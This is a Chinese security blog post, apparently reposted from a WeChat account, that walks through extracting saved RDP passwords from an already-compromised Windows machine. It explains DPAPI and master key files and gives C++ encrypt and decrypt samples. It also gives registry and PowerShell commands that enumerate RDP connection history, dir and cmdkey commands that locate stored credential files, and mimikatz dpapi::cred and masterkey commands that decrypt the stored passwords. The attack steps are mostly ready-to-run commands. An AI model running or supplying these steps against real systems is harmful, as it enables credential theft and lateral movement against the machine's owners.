获取已控机器本地保存的RDP密码

admin 2023年3月17日11:09:46评论75 views字数 4220阅读14分4秒阅读模式


俗话说百因必有果,你的报应就是我,这篇文章的来历,还要从好兄弟的提问说起。


本文就给大家聊一下关于获取已控机器本地保存的RDP密码的一些原理、思路、以及具体的实现方法。

首先我们需要知道两个概念。

第一、Dpapi

从Windows 2000开始,Microsoft随操作系统一起提供了一种特殊的数据保护接口,称为Data Protection Application Programming Interface(DPAPI)。其分别提供了加密函数CryptProtectData 与解密函数 CryptUnprotectData 以用作敏感信息的加密解密。

包括的范围有下面这些:

  • IE、Chrome的登录表单自动完成

  • Powershell加密函数

  • Outlook, Windows Mail, Windows Mail, 等邮箱客户端的用户密码。

  • FTP管理账户密码

  • 共享资源文件夹的访问密码

  • 无线网络帐户密钥和密码

  • 远程桌面身份凭证

  • EFS

  • EAP/TLS 和 802.1x的身份凭证

  • Credential Manager中的数据

  • 以及各种调用了CryptProtectData函数加密数据的第三方应用,如Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk等。

其中就包括了我们所说的远程桌面身份凭证。Dpapi采用的加密类型为对称加密,即找到了密钥,就能解开物理存储的加密信息。

Master Key Files

存放密钥的文件叫做Master Key Files,

用户Master Key file,位于%APPDATA%MicrosoftProtect%SID%

系统Master Key file,位于%WINDIR%System32MicrosoftProtectS-1-5-18User

Master Key file的同级目录还有一个Preferred文件,显示当前系统正在使用的MasterKey及其过期时间,默认90天有效期.

实操 DPAPI加解密

微软为开发人员提供了 DPAPI的加解密方式,文件头为dpapi.h,我们可以使用CryptProtectData来进行一个加密,测试代码如下:

#include <iostream>#include <Windows.h>#include <dpapi.h>#pragma comment(lib,"crypt32.lib")int main(){  DATA_BLOB plainBlob = { 0 };  DATA_BLOB encryptedBlob = { 0 };  BYTE dataBytes[] = "spotless";  HANDLE outFile = CreateFile("c:\users\root\desktop\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  printf("this is an encrypted:spotless");  plainBlob.pbData = dataBytes;  plainBlob.cbData = sizeof(dataBytes);  CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);  WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);  return 0;}


获取已控机器本地保存的RDP密码

加密后进行解密

#include <iostream>#include <Windows.h>#include <dpapi.h>#pragma comment(lib,"crypt32.lib")int main(){  DATA_BLOB plainBlob = { 0 };  DATA_BLOB encryptedBlob = { 0 };  BYTE dataBytes[] = "spotless";  BYTE inBytes[300] = {0};  BYTE outBytes[300] = {0};  HANDLE outFile = CreateFile(L"c:\users\mantvydas\desktop\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  HANDLE inFile = CreateFile(L"c:\users\mantvydas\desktop\spotless.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);  DWORD fileSize = 0;   //encrypt  plainBlob.pbData = dataBytes;  plainBlob.cbData = sizeof(dataBytes);  CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);  WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);
//decrypt fileSize = GetFileSize(inFile, NULL); ReadFile(inFile, encryptedBlob.pbData, fileSize , NULL, NULL); encryptedBlob.cbData = fileSize; CryptUnprotectData(&encryptedBlob, NULL, NULL, NULL, NULL, 0, &plainBlob); return 0;}


即可解密出来加密后的明文。

第二、rdp密码存放位置

我们可以使用下面的方法得到所有该主机链接过的机器,即查询注册表

reg query "HKEY_CURRENT_USERSoftwareMicrosoftTerminal Server ClientServers" /s
获取已控机器本地保存的RDP密码

高版本的系统也可以使用下面的powershell脚本

<#.SYNOPSISThis script will list the logged-in users' RDP Connections History.Author: 3gstudent@3gstudentLicense: BSD 3-Clause#>$AllUser = Get-WmiObject -Class Win32_UserAccountforeach($User in $AllUser){  $RegPath = "Registry::HKEY_USERS"+$User.SID+"SoftwareMicrosoftTerminal Server ClientServers"  Write-Host "User:"$User.Name  Write-Host "SID:"$User.SID  Write-Host "Status:"$User.Status  Try      {     $QueryPath = dir $RegPath -Name -ErrorAction Stop  }  Catch  {    Write-Host "No RDP Connections History"    Write-Host "----------------------------------"    continue  }  foreach($Name in $QueryPath)  {       Try        {            $User = (Get-ItemProperty -Path $RegPath$Name -ErrorAction Stop).UsernameHint          Write-Host "User:"$User          Write-Host "Server:"$Name        }        Catch        {      Write-Host "No RDP Connections History"        }  }  Write-Host "----------------------------------"  }

然后查看本地的密码文件是否存在

dir /a %userprofile%AppDataLocalMicrosoftCredentials*


获取已控机器本地保存的RDP密码

注:a代表用户名,本地有存储密码的前提是链接时勾选保存凭证。

然后查看存储在本地的远程信息。

cmdkey /list


获取已控机器本地保存的RDP密码

这样我们就拥有了解密的一切前提。

第三、实战密码解密

下面我们来实战看一下密码的解密过程。minikatz不愧为神器,里面已经集成了该类功能,都属于dpapi模块。

我们来看下操作。

mimikatz # privilege::debugmimikatz # dpapi::cred /in:C:UsersAdministratorAppDataLocalMicrosoftCredentials8781378F7D47006A4FC98D2F8A266F58

获取已控机器本地保存的RDP密码

通过 mimikatz 获取 guidMasterKey,再通过guid 来找到其所对应的 Masterkey,注意此处的 pgData 中的内容实际上就是要解密的密码数据,密码在里面只不过是加密的,得先找到对应的 Masterkey 才能解密 。

下面来找 Masterkey。

获取已控机器本地保存的RDP密码

然后通过Masterkey即可解密我们的数据。

mimikatz # dpapi::cred /in:C:UsersAdministratorAppDataLocalMicrosoftCredentialsB936D224289CFD610F63B70D714F2664 /masterkey:cd9e42601a0aa86baf3659271cfc2f9f75642a08cb819a7eb7c6c7531dcd80bdc6d152b18bd2d70395cadfad537e1e436034fccc5ff44074059d431e60151cc8


获取已控机器本地保存的RDP密码

且可以使用下面的命令查看获取到的所有的masterkey:

dpapi::cache


获取已控机器本地保存的RDP密码

一键化操作:

获取已控机器本地保存的RDP密码



声明


本公众号部分资源来源于网络,版权归原作者或者来源机构所有,如果有涉及任何版权方面的问题,请与及时与我们联系,我们将尽快妥善处理!


谢谢关注↓↓↓

V安全资讯-为网络安全保驾护航

原文始发于微信公众号(V安全资讯):获取已控机器本地保存的RDP密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日11:09:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   获取已控机器本地保存的RDP密码https://cn-sec.com/archives/1226267.html

发表评论

匿名网友 填写信息